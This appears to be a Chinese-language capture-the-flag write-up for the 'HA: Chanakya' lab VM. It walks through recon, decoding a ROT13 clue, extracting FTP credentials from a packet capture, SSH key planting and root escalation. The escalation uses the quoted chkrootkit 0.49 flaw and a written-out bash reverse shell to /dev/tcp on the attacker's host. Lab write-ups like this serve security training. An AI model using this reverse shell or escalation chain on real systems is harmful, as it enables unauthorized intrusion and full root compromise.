HA:chanakya靶机渗透
1. 环境和信息
1.1 靶机下载地址
1.2 环境
- 攻击环境:kali linux IP地址:192.168.0.21
- 靶机环境:linux IP地址:待扫描
1.3 信息
摧毁王国的策划者又回来了,这次他创造了一个难题,会让你挠头!是时候面对Chanakya。
您是否能够解决此“从根开始”并证明自己更明智?
枚举是关键!!!!
2. 渗透过程
2.1 信息收集
- 脚本化扫描 【只是简单的将 IP发现、端口扫描、nikto扫描、whatweb 生成一个报表】
- 扫描结束,我们可以获得靶机IP地址为: 192.168.0.107
- 扫描结果在 Auto-Scan/192.168.0.107.html
- 打开看看:
- 可以看到开启的服务有 (21)ftp (22)ssh 和80(http)
- nikto扫描的web并没有可用的信息,whatweb也没扫描出任何web框架
- 简单浏览一下网页
- 也没看到啥玩意啊
- 开始尝试目录爆破
- 得到关键文件:abuse.txt
- 打开内容是:nfubxn.cpncat 不管先保存一下
2.2 开始渗透
我们先尝试登陆ftp看看
需要用户名密码,试试这个nfubxn.cpncat
登不上去,难道是加密了,还是另藏玄机
如果是加密很可能是凯撒密码,就是每个字母都会偏移某个特定的值
但是 像 “ . “ 这种字符是不会被加密的而且只支持26个字母
到网上解密一下
可以用脚本把 1-25 的全部结果都拿出来看看
我这里直接公布答案了
当key=13时,密文就变成了ashoka.pcapng
用过Wireshark 的都知道 pcapng是新版本数据包的后缀名,刚好有点在前面,这就好像是一个文件
能下载~看来是要我们分析流量
可以看到有FTP协议的流量,我们追踪流
可以看到登录时输入的账号和密码还有一些操作
FTP账号密码:ashoka : kautilya
登录之后是在ashoka的用户目录下, 也没看到什么有价值的文件
反正他有ssh服务,我们尝试使用公钥达到免密码登录
先到kaii机器生成自己的密钥对
在~/.ssh 文件夹里面的 .pub文件 复制成一份名叫 authorized_keys的文件
随便用什么连接一下FTP然后把这个文件传到FTP下的.ssh/authorized_keys
就可以免密码登录了
登录之后就可以想办法提权了
我们直接找suid的文件
find / -perm -u=s -type f 2>/dev/null
find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null # 查找777的文件没有找到可利用的
uname -a
Linux ubuntu 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04 LTS"
NAME="Ubuntu"
VERSION="18.04 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
history #无
crontab -l #无
sudo -l #没密码
ls -al /tmp #找到一个logs文件
logs打开看了一下,随便找了一条百度了一下
说是 linux系统入侵检测工具chkrootkit 的日志文件
find / -name chkrootkit 2>/dev/null #查找chkrootkit文件的位置
/usr/local/share/chkrootkit
/usr/local/share/chkrootkit/chkrootkit
cd /usr/local/share/chkrootkit #切换进chkrootkit目录
./chkrootkit --help #说是-V查看版本
./chkrootkit -V
chkrootkit version 0.49kali 里面再搜下chkrootkit的漏洞
刚好版本相同
这里用的是33899.txt
The line ‘file_port=$file_port $i’ will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.Steps to reproduce:
- Put an executable file named ‘update’ with non-root owner in /tmp (not
mounted noexec, obviously) - Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.Suggested fix: Put quotation marks around the assignment.
file_port=”$file_port $i”
I will also try to contact upstream, although the latest version of
chkrootkit dates back to 2009 - will have to see, if I reach a dev there- Put an executable file named ‘update’ with non-root owner in /tmp (not
大概意思就是说chkrootkit 一般会设置成计划运行,在运行时会调用/tmp/update文件
然后我就写了一个反弹shell的文件,保存在/tmp/update
bash -i >& /dev/tcp/192.168.0.21/8888 0>&1kali 用nc监听一下8888端口,等一会就会反弹一个shell了
看了下计划任务
一分钟就会执行一次chkrootkit
到这里就结束了
3. 重要信息
3.1 FTP账号密码
ashoka : kautilya